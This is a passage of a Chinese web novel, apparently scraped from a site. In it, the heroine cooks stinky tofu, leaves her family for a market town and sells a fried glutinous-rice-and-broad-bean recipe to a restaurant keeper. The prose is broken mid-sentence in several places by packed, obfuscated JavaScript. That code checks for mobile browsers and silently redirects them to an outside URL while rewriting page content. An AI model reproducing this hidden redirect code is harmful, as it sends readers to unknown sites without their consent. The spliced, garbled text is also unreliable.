0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410577|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去了，就定好个日子，咱们在家好好的吃一顿再去。” 去阳宁镇的事就这样定了下来。 姜芽心中的石头也算是落了地，拉着哥哥嫂嫂们商量了一番，姜文和甚至翻了黄历，最后选了个出门的好日子，六日后。 既然日子定了下来，除了做饭，姜芽心里想的还是想把简单些的菜式好好的再多教家里人几次，尤其是王迎春和张春兰，一直对她的这些稀奇古怪又好吃的菜有浓厚的兴趣。 厨房里比平日要热闹了许多，姜芽把已经是第二次做出来的毛豆腐拿出来，准备今天做一道下饭菜。 她拿出一个砂锅，那砂锅平日里也只有炖肉的时候会用上。 她往砂锅里放了一小团白花花的猪油，等猪油全化了，就丢进些干辣椒和蒜瓣，炒出香味来。 这次辣椒放的不少，厨房中的人都被呛的干咳起来。 “芽芽，你这次又要做什么？？” 姜文毅在厨房中想帮忙，又没帮上什么忙，反倒是吸了几口辣气，咳嗽了几声之后就凑过来看姜芽在砂锅里做什么东西。 姜芽一边用锅铲翻炒辣椒，一边说：“二哥，你且去多煮些饭，今天我做这个重口味的菜，估计大家都要多吃些饭呢。” 姜文毅又咳嗽了两声：“咳咳咳，知道了知道了，你放这些辣椒，别的不说，大哥肯定要多吃两碗！” 看着辣椒炒的透着红，油亮油亮的，姜芽把毛豆腐从旁边拿过来，有些冲鼻的臭味马上充满了她的整个鼻腔。 一旁准备学习的王迎春都往后仰了仰身子，皱着鼻子说：“芽芽啊，上次的毛豆腐你拿去做了包烧豆腐，芭蕉叶一包，这味道也去了大半，今日你是要把这毛豆腐……放到砂锅里炖？” 姜芽也学着她皱着鼻子，声音瓮翁的倒是有些好笑：“对呀，放心吧，待会炖好了你就知道这毛豆腐炖出来有多美味了。” 说着她就将毛豆腐用筷子干干净净的扒拉到了砂锅里，用锅铲在砂锅里把毛豆腐碾得碎碎的。 “一碾开，那股子臭味瞬间在厨房漫开，除了王迎春硬撑着没动，其他人都捏着鼻子往外跑，姜文毅跑得最快。 跑到院中的姜文毅大口的吸着外面的新鲜空气：“娘，你看看你女儿，怎么这么臭的东西都能拿来做吃的，待会要是不好吃，就不让她去阳宁镇了，免得万一她在镇子上做这臭东西，被人从店里赶出来露宿街头！” 浦树巧知道他这话其实还是舍不得姜芽走，其实并无埋怨的意思，所以只是笑着说：“芽芽做东西什么时候不好吃过？” 碾碎的毛豆腐在砂锅中充分发挥着自己的臭气，带着辣椒的香辣味，倒是更呛人了些。 姜芽往上放了上回做石锅鱼剩的几颗花椒，又往里面放了些盐继续翻搅。 直到那豆腐在砂锅里变得黏黏糊糊，她又拿了几根蒜苗切成段放了进去。 红通通带着油的毛豆腐，混上新鲜绿油油的蒜苗，倒是混合出了些酱香，姜芽咽了咽口水，往上面又撒了些辣椒面，搅拌之后把砂锅盖子盖上焖了一会。 砂锅臭豆腐就出锅了。 22. 砂锅臭豆腐（二） 粗陶砂锅带着还热气，姜芽怕烫手，找了两块布隔着热把砂锅抬到桌上。 盖子一揭，一股香臭交织的味道瞬间飘了出来。 臭豆腐和调料混合在一起，又被姜芽碾的碎碎的，已经看不出豆腐的形状了。 姜芽看迟迟没人敢吃，只能自己先用筷子夹起一块吃了下去。 豆腐煮的软烂，吃到口中倒是全然吃不出臭味，带着香辣与蒜香味，都不用怎么嚼，就直接顺着嗓子滑了下去。 “好吃！真的好吃！”姜芽又夹了一筷子，放到饭上，用筷子把米饭和臭豆腐搅拌在一起。 白花花的米饭马上变成了红色，裹着臭豆腐，油亮油亮的。 她把嘴凑在碗边，往嘴里扒拉了两口拌好的米饭，米饭带着想，吃的姜芽根本停不下夹臭豆腐的手。 看着她吃的这么香，大家才动起了筷子。 姜文兴本不是很能吃辣，就学着姜芽的样子，把臭豆腐放拌着米饭一起吃。 这一口吃下去，他身子都坐的直了起来。 “这也太好吃了！就着米饭吃，也不是很辣，而且完全没有刚才炖的时候闻到的那个臭味！” 朱红梅喜辣，更是接连往嘴里塞了好几口，嚼到鲜嫩的蒜苗，在口中发出沙沙的轻响。 炎热的夏日，在院中吃着热辣的砂锅臭豆腐，还能吹着些晚风，当真是惬意极了。 吃饱了的姜芽冲了几杯玫瑰酱泡水，一边喝一边还想着要是现在能往这水里加几块冰的话，自己现在该有多惬意。 今天姜文和去洗了碗，其他人也都坐在院中喝着那杯带着花香和甜味的玫瑰水。 “芽芽。”王迎春坐的离姜芽最近，看着姜芽一脸享受的样子，轻声唤了她一声。 姜芽睁开已经半眯着的眼睛：“怎么了大嫂？有哪个菜还记得不是很清楚吗？” 王迎春摇摇头：“你做的那些菜都不难，只是这些法子，我们自己是想不出来的，只要看你做过那么一两次，我们也就能做得差不多了。” 姜芽嘿嘿的笑：“那是肯定，菜嘛，简单的做法做出来的菜才是大众会喜欢吃的，做法复杂了反而喜欢吃的人或许会少一些。” “你说的有理，只是嫂子只是想跟你说，你以后一个人在外面，要是觉得不适应，不喜欢，就赶紧回来，知道吗？”王迎春捏捏姜芽的脸，说这句话的时候眼眶都有些湿润。 姜芽看到她眼中的晶莹，挤出一抹笑容：“哎呀大嫂，你就放心吧！小小一个阳宁镇，我还能真被人欺负了不成？” 家中虽然还是欢声笑语，但是就连姜文毅，叹的气都比平时的要多得多。 —— 离别之前的日子就是过的很快，姜芽每日忙忙这个，弄弄那个的，好像这几天的时间就这么过去了。 去阳宁镇的前一天，她特地去了刘石榴家一趟。 刘石榴正和张巧兰在院中做着些家务活，见到姜芽，张巧兰放下手中抹布，伸着有些粗糙的手招呼着姜芽。 “芽芽来了，快进屋，石榴，去给姜芽姐姐沏杯茶来。” 姜芽喊了声张婶才进了屋，看着这个比她家还要破旧上几分的屋子，忍不住问：“张婶，石榴说他爹去了阳宁镇，你知道他在哪里做工吗？我明日也要去阳宁镇了，想着也帮你们去看看他，你们有什么话我也可以帮忙带给他。” 张巧兰看了眼身边的刘石榴，有些局促地把鬓边碎发往耳后捋了捋。 “是不是石榴这孩子请你帮忙去找他爹的？你看你自己都是个孩子，去到阳宁镇，照顾好自己才是最最主要的，至于石榴他爹……以后再说吧。” 刘石榴听到这话，有些激动的小声喊：“我爹说了，他要攒钱给我读书的！我就让姜芽姐帮我跟他说一声，我可以读书了……” 姜芽都想不出，刘石榴家比她家还穷，就连她刚穿越过来都有些营养不良的样子，张巧兰是怎么把刘石榴养成如今这个大胖小子的。 她看着委屈巴巴的刘石榴，喝了口有些苦涩的茶水。 “婶婶，这事一点都不麻烦，你尽管告诉我就是，我在阳宁镇安顿好了，再去找石榴爹就行！” 张巧兰犹豫了半天，最终还是叹了口气：“那就麻烦你了，石榴他爹就在镇上的悦来酒楼做工，听说那个悦来楼是阳宁镇最大的酒楼，你倒是若是得了闲，就请你帮忙去给石榴他爹带个话，让他得了假回来看看孩子。” 听她话里这意思，石榴他爹出去做工之后好像就没有回来过。 姜芽也没有再追问，每个人都有自己不想说的事，既然张巧兰没有主动说，那她也没必要接着问。 在离开刘石榴家之前，张巧兰还把院子里种的大芫荽割了大半，让姜芽带着去镇子上。 姜芽道了声谢就把大芫荽收下了，这东西或许带去阳宁镇上还真有些用处。 刘石榴跟在她身后，一直把她送到了家门口。 “回去吧回去吧，还要送到哪里？”姜芽冲她摆摆手。 刘石榴把早已想好的话问出了口：“姜芽姐，你不会像我爹爹一样，去了阳宁镇就不回来了吧？” “想什么呢？我肯定要回来的啊。”姜芽失笑，伸手摸了摸他的头。 小孩子是不能骗的，因为他们会把你说的话一直记在心里。 果然，刘石榴听到她肯定的回答，才开心的说了句：“那我回去了，回来记得找我！” 姜芽两只手各拿着一把芫荽回了家。 浦树巧好像一直等在院中，见姜芽回来，没说话，只是招招手示意她进屋。 她把芫荽放到水缸盖子上，跟着浦树巧进了屋。 姜齐飞也在屋中，一根蜡烛被屋外吹进来的风吹的有些摇曳，看不清屋里人的表情。 浦树巧从怀里掏出个荷包，放到姜芽手中：“芽芽，这是你从阳宁镇带回来的三十两银子，你带着去，莫要亏了自己。” 姜芽打开那荷包看了看：“爹娘？我当时赚的钱这些时日都买了很多吃的，怎么可能现在还有三十两？” 姜齐飞想叹气，却又把那口气收了回去：“这是我和你娘，还有你哥哥嫂嫂们给你凑的，你刚去那地方，身上没有些闲钱也不好，你就拿着去，等你发了工钱，再攒着给我们。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416327|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芽伸手掏出些银子放到桌上：“我不要！我一个人哪能花得了那么些钱！” “芽芽！”浦树巧提高了些音量：“娘知道，你去阳宁镇也不是要一直做工，银子你拿着，你想找个铺子做些生意，这些钱也够。” 虽然她只是姜芽在这个时代的娘，可是姜芽的想法好像都逃不过浦树巧的眼睛。 姜芽语塞：“可是……” 浦树巧抚着她的背安慰道：“放心吧，家里攒的钱还有，咱们家里人都饿不着肚子的，你教的那些菜也用不上什么贵的食材，方便得很。” 姜芽推脱了数次，终究是争不过自己的爹娘，只能把那鼓鼓囊囊的荷包放到怀里。 她的眼里噙着眼泪，嘴唇都被她咬的有些发白：“爹、娘，你们放心，我一定会赚到钱回来，让咱们全家都吃香喝辣！” 院子里静悄悄的，姜芽抬头看着天上的星星，其中有几颗时不时的会闪一下，姜芽也对着那闪烁的星星眨了眨眼睛。 这满天的星星在她以前生活的现代已经几乎见不到了，她在想，不知道在阳宁镇，能不能也看到这么好看的星星。 姜文毅早在前几天就去隔壁村，给姜芽找了辆正好要去阳宁镇的牛车，说好了出发那日的一早牛车就会来接她。 姜芽身上背着两个包袱，身上穿的也是上次在阳宁镇买回来的新衣裳。 那衣裳自从买回来还从没穿过，此时穿在身上，倒是显得她多了几分秀气。 家里人把姜芽围在中间，你一句我一句地嘱咐着，姜芽都笑眯眯地一一应下。 王迎春还是哭了出来，拉住姜芽的手就不松开：“芽芽，要不你就在家吧，你说家里没你在，每日都感觉着少了什么。” 姜芽任由她拉着手，笑道：“别哭啦大嫂，我过些时日就回来，你记得带着家里人每日都做些玫瑰花卷馒头去卖，隔壁村也近，要是做的多了，还可以带到隔壁村去卖！” 王迎春流着泪点着头：“记住了，还有你那芋圆，得空了我也做些出来，那芋圆也能卖的。” 浦树巧不知什么时候站的远远的，只是伸着脖子看着姜芽这边，没有说话。 牛车的主人急着要去镇上卖货，催着她们上车。 姜芽踮起脚看到了浦树巧，喊了一声：“娘，我走啦，大家保重！” 说完就爬上了牛车，一旁的朱红梅嘱咐了姜文和几句，也跟着上了牛车，坐到了一堆货物旁边的角落。 姜文毅在老牛旁边跟着喊：“芽芽，记住二哥说的啊，阳宁镇有人欺负你也尽管告诉二哥，二哥到阳宁镇给你做主！” 姜芽坐在车上，看着自己的家人，每个人的脸上都是不舍。 她忍住鼻子的酸意，左手搭在木制货兜边缘，站起身朝大伙摇着手：“放心吧！我会好好赚钱！好好照顾好自己的！” 姜家人身后，还跟着个小小的身影，刘石榴攥着衣角，踮着脚往牛车这边望，直到车走远了，还站在原地没动。 而姜芽那间破旧的小房间的床上，放着些她偷偷留下的碎银，碎银旁边还摆着一朵深红的，带着香气的玫瑰。 23. 青蛙背石板（一） 上次坐的马车，虽然比走路舒服了不少，却把姜芽颠得浑身像散了架。 这次的牛车虽没有带顶的车厢，也摇来晃去的，走的还慢，但总是没有马车那么颠人了。 今日天刚蒙蒙亮的就出发了，姜芽把包袱里装的王迎春就做好的鲜花馒头拿出来，递了一个给朱红梅。 这次出行，除了带了些银两和换洗的衣物之外，她还塞了三罐玫瑰酱以及张巧兰送给她的一大把大芫荽。 朱红梅把馒头掰了一半递回给姜芽，抬头望向天际，此时天已大亮，清晨的露水还挂在路边的野草和树枝上。 拉着货物还带了三个人的牛时不时的还会打一下滑，每次一打滑，姜芽都吓的紧紧的拉着朱红梅的手臂。 牛车主人是个皮肤黝黑的汉子，时不时对着老牛吆喝两声，想催它走快些，目光却总不自觉地往姜芽手里的半块馒头瞟。 姜芽看到他的视线，又把手中的半块馒头一分为二递给他：“大哥，尝尝吧，这是我家做的鲜花馒头，说不定以后还会拿去你们村卖呢。” 那汉子也不客气，将一小块馒头接过来，放在手心看了又看，放到鼻尖闻了闻，满是清甜的花香。他一口把小块馒头塞进嘴里，有些惊喜的问道： “小姑娘，你家这馒头味道还真是不错，咋不拿些到镇上卖？” 他说的有道理，姜芽也不是没考虑过，只是家里的玫瑰数量实在有限，就算做花卷馒头也用不了多少，但要是拿到阳宁镇卖，肯定是不够的。 姜芽自然不可能跟他说的那么详细，只把自己手中那块也吃了下去，再喝了口水才开口：“我到阳宁镇还有更多新鲜的吃食卖，倒是你要是去镇子上，可以找我来买些尝尝。” 两人有一搭没一搭地聊了几句，姜芽就感觉自己被晃的有些晕，瞬间也没了什么精神，靠着朱红梅看着前方泥泞不堪的路，不知道是在想事情还是已经被晃的没了力气。 朱红梅把她搂的又紧了些，她虽性格泼辣一点就着，对着自家的这个小妹倒确实温柔得很，像是她的姐姐一般。 老牛走一阵就会停下来啃两口路边的草，姜芽看着慢悠悠的老牛，吃饱了就动，饿了就停下来吃几口，这性子倒是还挺好的。 “三嫂。”她轻轻唤了声。 “哎，怎么了？”朱红梅低头看着自己怀里的姜芽，手指捋了捋她额头的碎发。 “到了阳宁镇，你能多陪我几日吗？”姜芽把头埋在朱红梅怀中，声音闷闷的，也看不清她的表情。 朱红梅摸着她的后脑勺：“爹娘都说了，要将你安顿得好好的，我肯定会多陪你些时日的，放心吧。” 姜芽也不知道是不是因为穿到了十五岁的身子上的原因，感觉自己真的把自己当成个小姑娘了，对家人的依赖都更多了些。 牛车走走停停，一直到了下午，才晃晃悠悠的到了阳宁镇。 姜芽跳下牛车，拍了拍身上的灰，笑眯眯的和牛车主人挥挥手：“记得下次在镇子上找我啊，我的吃食绝不会让你失望的！” 朱红梅背着包袱，若有所思的看着阳宁镇的高墙，有些晃神。 姜芽没想那么多，拉着她的手说：“走！三嫂，我肚子真是饿的咕咕叫了，早知刚才就不给他那半块馒头了，我带你去吃点好吃的去！” 朱红梅回过神来，对着姜芽笑：“你瞧瞧你，上次来了次之后，还能带我去找好吃的了？” 姜芽昂着头，底气十足：“那是必须的，就算来到这没有了家中的锅灶，我也能给你找个地方吃些好吃的。” 她凭借着自己的记忆带着朱红梅来到了上次来的食肆，也是这次，她才留意看了看食肆外写着的店名——玉食堂。 玉食堂的生意好像比上次好了许多，尽管刚过了饭点，还是能看到里面进进出出的食客。 上次见过的掌柜正站在大堂里招呼着客人，一个小二肩上挂着块抹布，见哪桌客人吃完离开，就快步上前收拾碗筷，用抹布把桌子擦得干干净净。 其他两个小二一直在后厨和大堂之间来来回回的上菜，姜芽悄悄在门口看了好一会，几乎每桌客人的桌上都会点她上次做的蒜蓉粉丝白菜，要么就是那道颜值胜过味道的荷花鸡汤白菜。 朱红梅见她只是里的远远的伸着脖子往里面看，也不进去，虽是心里有些疑惑，但也还是耐着性子陪着她站在外面。 终于，掌柜的将一个老客送到门口，拱手送客之后，看到了姜芽。 他先是对着眼前这个小丫头愣了愣，好像在想自己是在哪里见过这个人，然后面露喜色走到姜芽面前： “姜小师傅？月余未见，差点都没认出来了！” 他没认出来是真的，上次见姜芽时，她还是个面黄肌瘦、穿着打补丁衣服的丫头，这两个月在家吃得好，身子长开了些，脸色也红润了，确实变了不少模样。 姜芽笑眯眯地弯腰回礼：“是我是我，许久不见，您这生意可比上次热闹多了。” 她话有所指，掌柜的也是个聪明人，侧身做了个请的手势，请姜芽和朱红梅进了店。 小二很快收拾出一张靠里的桌子，陪着姜芽落座之后，拎着茶壶倒了三杯茶，把其中一杯递给姜芽 “小师傅是不是想好了，想到阳宁镇来做工？我上次说的话还是作数的，只要你来我这，我可以给你把价钱开高些。” 姜芽没问他话里说的价钱开高是多少钱，而是把茶接过来抿了一口： “我目前还没想着要去哪个食肆当厨子，我今天来，就是想问问掌柜的，我这儿还有个菜方子，您还收不收？” 掌柜的眼珠子一转，摸着胡子有些迟疑。 姜芽见状，也不强求，放下茶杯拉着朱红梅就作势要走 “无事，既然您现在不收，我就先去别的店里问问，我以后常在镇上，您要是改主意了，再找我也成。” “哎，小师傅别急！”掌柜的赶紧站起来拦住她，“只要你的菜方子合适在我这卖，我肯定收，只是……” “只是什么？掌柜的直说便是。”姜芽坐回长椅上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422019|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是能和这个老板做成这单买卖那是最好的。 掌柜的手指在桌上扣了扣，犹豫着开口：“只是此次不管小师傅卖的是什么菜方子，我最多只能出三两银子收。” “三两！！？？”姜芽忍不住提高了声音，满脸的不可置信。 周围食客的目光瞬间投了过来，她赶紧压低声音，“上次两道菜您给了三十两，就算一道菜，怎么也得十五两吧？” 那掌柜的叹了口气：“我也不瞒你，你菜方子现在拿出去卖，也只能卖我这个差不多的价格，你有没有想过，一道白菜我顶天就卖十来文钱，为什么能三十两把你方子收了？” 姜芽确实没仔细算过，这样算下来，想要把买她菜方子的钱赚回来，可能要卖上几年。 她摇摇头：“我确实没想过，那您当时为什么出这么高的价钱买我的菜。” 掌柜的朝天上指指：“咱们南朝这几年没灾没战，老百姓日子好过了，对吃的也讲究起来。” “今年上头的水建城，最大的酒楼万花楼办了个厨艺比试，不管是大酒楼还是小食肆，都能去参赛，要是能拿头筹，不仅名声大噪，还能得一百两银子。” 姜芽消化了一下掌柜的说的消息，咽了咽口水：“所以你是说，你花三十两买了我的菜方子，带着张厨子去水建城参加万花楼的厨艺比试了？” 掌柜的点头道：“确实如此，当时我正愁着怎么去万花楼，你来的也巧，菜也确实做的新奇，我就想着赌一把将你的菜买了下来。只是万花楼的比试就这一次，你这菜方子，现在最多只能值三两了。” 姜芽也不生气，做生意的人，肯定是奔着赚头去的，这掌柜也算是光明磊落，当时没有告诉她这其中的关系也情有可原，总要防着她知道这比试的事之后不卖了，自己去万花楼参加比试。 她好奇地追问：“那最后，张厨子拿了什么名次？” 掌柜的笑了声：“不瞒你说，张厨子把你的菜学到了七八分，谁知去到那做的时候一见人多，尝菜的人也大多都是吃遍美食的人，他哪见过这场面，当时就说自己腿软肚子也酸，那日做的菜虽是看着没什么问题，味道却差了几分。” 姜芽忍不住也跟着笑：“他不是挺凶的吗，怎么还怯场了，那你们岂不是空手而归了？” “倒也没有。”掌柜的摇摇头，“虽说味道差了点，但那荷叶白菜够新奇，蒜蓉粉丝白菜味道也不错，最后拿了第四，分了三十两银子。回来后，镇上和水建城的人听说此事的人都来我这想要尝尝这两道菜，我倒也没亏。” 没想到，就是张厨子发挥失常了，也还拿了个名次。 姜芽站起来指指后厨：“那我便去后厨看看我那‘徒弟’，顺便让他请我们吃顿饭，对了，掌柜的，能借你厨房一用吗？这菜虽然我不卖你了，但也能让你尝尝味道。” 掌柜的自然愿意：“你跟张厨子说一声直接用就行，只是……你这次打算做什么菜？” 姜芽眨眨眼，打了个响指 “青蛙背石板！” 24. 青蛙背石板（二） 掌柜的眼珠子都要掉下来了。 他恨不得掏掏耳朵确认：“什么东西？？青蛙……背石板？” 纵是听过姜芽不少新奇菜名的朱红梅，此时也有些摸不着头脑，又不好当着掌柜的面质疑，只能扯扯姜芽的衣角，朝她挤了挤眼睛。 姜芽知道与其花费时间在这里解释，还不如动手将这道菜做出来来得实在，在这说了这半天话，她的肚子也越发的饿了。 所以她安抚的拍拍朱红梅的手背，示意她放心在这等，随后就脚步轻快的往后厨走去，一边走还一边说：“等看到我做出来的菜你们就知道啦，青蛙是怎么背石板的。” 慕名而来要吃那两道白菜做的菜的人不少，张厨子也熟练了许多，到了这个点，吃饭的人比饭点时也少了许多，此时他正在对着菜板上的白菜耐着性子把它们切成荷花花瓣的模样。 姜芽看着他高大忙碌的背影，忍不住放轻了脚步走到他的背后，想着看看这张厨子做了那么多次，现在有她的几分功力。 没想到张厨子虽在切白菜，却听出了她的脚步声，他把刚切好的一片菜杆放进盘里，头也不回地嚷嚷起来： “别催别催！都说了别来催我！我现在干的是精细活，做好了自然会叫你们，总是催个什么劲！” 听到他这凶巴巴的语气，姜芽才捂着嘴无声的笑了。 然后装模做样的背着手，清了清嗓子。 张厨子听着背后的人不仅没走，还不搭他的话，火气一下子就上来了，拎着手中的刀转身就骂： “怎么还要催我！是不是非要我……咦？” 姜芽憋笑憋的小脸都皱成了一团，看到张厨子转身认出她，才捂着肚子笑出了声： “哈哈哈哈哈，不然你就要怎么办？” 张厨子没管姜芽的调侃，两步跨过来蹲在姜芽面前，刚刚好能平视着她：“师父！你终于来了！” 姜芽看着蹲在自己面前健壮的张厨子，还是忍不住笑：“怎的做白菜都做的发火？” 张厨子右手还拿着菜刀，听到姜芽说这个，激动的举起菜刀：“你可别提了，我家掌柜的上月带着我去哪什么万花楼比试，我将你传授于我的菜式一做，再回咱们阳宁镇上来，欸！来吃饭的人十个有九个都是来吃这两道菜的！” 姜芽看着菜刀，吓的往后仰了身子，又往旁边挪了一步才说：“那我怎么听说你在万花楼还怯场了？我看你现在这样子，也不想会怕那小场面的人啊。” 听到这，张厨子脸色变得胀红，站起来就要往外走：“这掌柜的，怎么什么都往外说！等我出去好好问问他！” “别去啦！”姜芽叫住他，也不再调侃，说起了正事：“我今日来，要借你厨房一用，已经跟你们掌柜的说过了。” 一听有新的菜式，张厨子也不管要去找掌柜的算账了，兴奋的走了回来：“好好好！你都不知道我盼你来盼了多久，本想着有假了便去你家看你，你看看，现在这生意，掌柜的是一日都不让我歇！” 姜芽打量了一会厨房，本来要开口，又想到了什么，还是先跟张厨子说了个明白：“我先跟你说好，你也知道，先前的那两道菜是你们掌柜找我买的，所以我也能传授于你，让你能带着去参加比试，也能在你们食肆卖，而今日做这道菜，我们价格没有谈拢，所以你可以在旁边看，但是……” 说到这，张厨子纵是神经大条也明白了，他哎呀一声打断了姜芽：“我知道！我那掌柜的黑心的很，既然没谈拢，你便去其他家看看，你今日做这菜我不会在我们玉食堂做，你尽管放心！” 姜芽想着张厨子这人应该信得过，而且就算他真的把这菜做出来卖了，对她也造不成太大的损失。 她点点头说：“那就行，我记得上次在你厨房中看到有糯米粉？” “有有有！”张厨子从一堆面粉中拿出一个麻袋递给姜芽，里面装的正是她在波罗村一直没有的糯米粉。 毕竟糯米粉这种东西，寻常人家中一般也不会放着多少，还是要食肆酒楼这种需要做菜比较多的地方才会备上。 她先盛出些糯米粉放到大碗中，往里面加了些温水，再用筷子把糯米粉搅拌成拇指大的小剂子，然后将碗放到一边。 张厨子在旁边看的认真，奈何不知道姜芽究竟要做什么，也没办法动手，只能压低声音问：“师父我帮你干点什么？” 姜芽的目光落在一堆新鲜蚕豆上，指了指说：“帮我一起剥蚕豆吧。” 她肚子本来就饿，剥蚕豆的时候更是，剥出三两粒豆仁，就要往嘴里塞一粒。 新鲜的蚕豆粒汁水丰富，吃到嘴里倒是脆生生的，还带着一股清甜。 张厨子看着她这样，也没有出言制止，只当自己这个年幼的师父平日里都吃不饱饭，只能趁这个时候偷吃些。 蚕豆剥出和糯米粉差不多分量的一碗时，姜芽咽下了嘴里的蚕豆说：“好了好了，这么多就够了。” 接着她在锅中烧水，把蚕豆粒都放到水中焯水，焯水之后的蚕豆变得翠绿，看起来倒真的有些像是迷你版的小青蛙。 焯水的时间不用太长，姜芽把蚕豆捞到碗中，往里面放了些盐搅拌均匀之后，就把蚕豆倒入了装着糯米粉的碗中。 她又洗了把手，才伸手把糯米粉和蚕豆抓拌到一起，揉成一个白裹着绿的面团。 “给我块没沾水的菜板。”她揉着面团对一旁看得仔细的张厨子说。 张厨子马上给她拿了块干干净净的菜板过来。 姜芽把碗中的大面团放到菜板上，把面团搓成一个比擀面杖还要粗一些的长条。 接着用菜刀，把长条切成了一块一块有些厚的片。 每片糯米片上都带着新鲜翠绿的蚕豆，看起来倒是真还带着几分清新。 食肆厨房里的锅具也不少，姜芽挑了个像是煎锅的锅放到灶上，在锅底抹了些油，再将切好的片放到锅中煎，糯米片刚进锅，就滋滋的响了起来，边缘很快冒起细小的油泡，裹在里面的蚕豆透着翠绿，金黄的外皮渐渐鼓了起来，看着就诱人。 姜芽仔细的盯着锅里的面片，小心的用锅铲挑起来看了看，眼见底下那边煎的金黄，就把锅中所有的面片都翻了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427094|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 煎好的那一面翻到上面，张厨子赶紧凑过来看，只见金黄的面片上闪着油光，火候刚刚好，裹在里面的蚕豆颜色也还是翠绿。 他忍不住拍手道：“这法子你是怎么想出来的？糯米粉和蚕豆，倒是从来没有想到能这样做。” 姜芽看着自己的成果，十分自豪的说：“这都是我师父传授给我的！” “师祖！？”张厨子当了真，接着问：“师祖是也在波罗村吗？什么时候能带我去拜访拜访？” 姜芽怕他再追问自己没办法解释了，只能指指一边：“快，马上就煎好了，帮我拿两个盘子过来。” 说完又再次用锅铲铲起一片看了看，两面都已经煎的金黄，可以出锅了！ 她把这做好的“青蛙背石板”分别放到两个盘子里，刚出锅的面片不仅带着油光，还冒着些油泡。 她往一盘中撒了些辣椒粉，把这盘带着香辣气味的菜递给张厨子。 再往另一盘里撒了些白糖，两个不同味道的青蛙背石板就做成了。 两盘菜整整齐齐的放在大堂桌子上的时候，掌柜的第一时间是仔细的观察两道菜，想看出来这青蛙背石板的菜名是从何而来。 看到撒了白糖的青蛙背石板之时，他就已经有些明了了。 面片煎得金黄，看着就酥脆，加上里面裹着的蚕豆像小青蛙，这下总算明白这菜名的由来了。 他夹起一块撒满糖的青蛙背石板咬了一口，口感却不似他想的那番酥脆。 虽然这菜外皮确实是焦香酥脆，内里却是因为用的是糯米粉的缘故，吃起来糯糯的，在口中还有些黏牙的嚼劲。 加上白糖的甜，整个味道是又甜又脆又糯，嚼到里面的蚕豆，还能吃到些豆香。 这种奇妙的口感和味道都是他第一次尝到，看着另一盘带着辣椒味的，他反而更感兴趣了。 姜芽看到坐在掌柜对面的朱红梅，现在正盯着那两盘青蛙背石板抿着嘴，只是出于掌柜的还在尝菜的缘故，迟迟没有动筷子。 “三嫂，张大哥，一起来吃啊，待会外壳不脆了就没那么好吃了。”她招呼着二人一起吃，自己也夹了一块辣味的咬了一口。 张厨子一口就吞进一片，在口中仔细的嚼了嚼，大声道：“师父！你这什么青蛙背石头的，做法倒是简单，味道却不一般，加上这辣椒粉，倒是辣中带着面粉的香，一点都不冲，这口感更是，外酥里糯，好极了！” 听到“做法简单”这四个字，掌柜的手顿了一顿，看着张厨子。 张厨子看到掌柜的眼神，大手马上摇了起来：“别看我，这是我师父刚才做的时候我看着学的，可没要传我方子，我可不在咱么这卖！” 他性子直，这些寻常人不会直接说的弯弯绕绕被他这么直接说出口，反而少了几分尴尬。 掌柜的哈哈笑了两声：“我什么都没说，你就急着说你不做，放心吧你。” 说着转身对着姜芽说：“姜小师傅，这道菜可下酒，又可以做甜点，这样，我多出一两银子，你还是将这道菜的菜方子卖给我，如何?” 25. 红三剁（一） 其实姜芽根本也没想着要靠卖菜方子赚钱。 只是她不想去酒楼或食肆做工，想自己做些小生意，卖菜方子不过是为了给自己凑笔启动资金。 倘若掌柜的没说错，那她这道青蛙背石板已经算是高价卖出了，四两银子，算下来也够买不少东西。 不过对着出了四两银子的掌柜，她还是收了收神色，对着他摇头说：“不行。” 掌柜的一愣，语气中带了些无奈：“那我真没办法往上给你加了，要不你去别的店问一问？要是有人出的价格比我高也是好的。” 姜芽看着有些遗憾的掌柜，说：“听我说完嘛，我说不行，除非你们再请我和我嫂子吃顿饭，那青蛙背石板就四两银子就卖给你了。” 她开了个小玩笑，掌柜的也哈哈笑了起来：“好好好，小事小事，老张，还不去给你的这位''师父''做些你的拿手好菜上来？” 张厨子自然是十分乐意，应着声就小跑着进了厨房，连一旁的小二都有些诧异，眼前这个天天到处嚷嚷的臭脾气的张厨子，居然还有这么热情的时候？ 掌柜的走到帐台点了银子递给姜芽，眼神却还带着些探究：“姜小师傅，你这次来是……？该不会就是专程来找我卖菜方子的吧？” 